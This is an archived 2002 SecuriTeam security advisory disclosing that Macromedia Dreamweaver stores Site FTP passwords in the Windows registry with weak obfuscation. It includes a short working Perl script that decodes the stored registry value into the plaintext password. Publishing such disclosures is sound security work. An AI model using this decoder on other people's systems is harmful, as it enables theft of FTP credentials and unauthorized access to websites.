

[NT] Macromedia Dreamweaver Site FTP Password Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-11/0015.html>

From: support@securiteam.com

Date: 11/06/02

From: support@securiteam.com

To: list@securiteam.com

Date: 6 Nov 2002 22:03:24 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

Macromedia Dreamweaver Site FTP Password Vulnerability

SUMMARY

A weakness exists the way Dreamweaver stores Site FTP passwords in Windows registry. This allows local attackers to recover them easily.

DETAILS

The Site Configuration feature allows the user to configure the settings for accessing, down/upload files to the server from their local machine. The encryption method designed to obfuscate passwords can be easily defeated.

As a result, anyone who can get access to the registry, can gain access to the user FTP Site (where most of the time a website will be stored)

Exploit:

```
#!/usr/bin/perl -w
```

```
#
```

```
# Macromedia Site FTP Pass Hash Cracker
```

```
# %HKEY_CURRENT_USER\Software\Macromedia\Dreamweaver\Sites\-%Site[]\User PW
```

```
#
```

```
# Tested on Dreamweaver 4, may work on other versions
```

```
# The way the pass is stored is too weak as you can see
```

Securiteam: [NT] Macromedia Dreamweaver Site FTP Password Vulnerability

```
#  
# Dreamweaver is the most used html/web editor around, try it:  
# http://www.macromedia.com  
#  
# inode@irc.brasnet.org #unsekure || alexandre@nettion.com.br
```

use strict;

die "Syntax: \$0 [RegString]" unless(\$ARGV[0]);

```
our (@a, @aa, $i, $ii);  
$ARGV[0] =~ s/(.)/push(@a, $1)/ge;
```

```
push (@aa, pack("H2", shift(@a)));
```

```
for(@a) {  
    $i++;  
    $ii = sprintf("%d", hex("$_")) - $i;  
    $ii = sprintf("%X", $ii);  
    push @aa, pack("H2", $ii);  
}  
print "Pass: "; print for(@aa); print "\n";  
exit 0;
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:abreu@grupofortes.com.br>>
Alexandre de Abreu.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[UNIX] Networking Utils PHP Allows Execution of Arbitrary code."
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)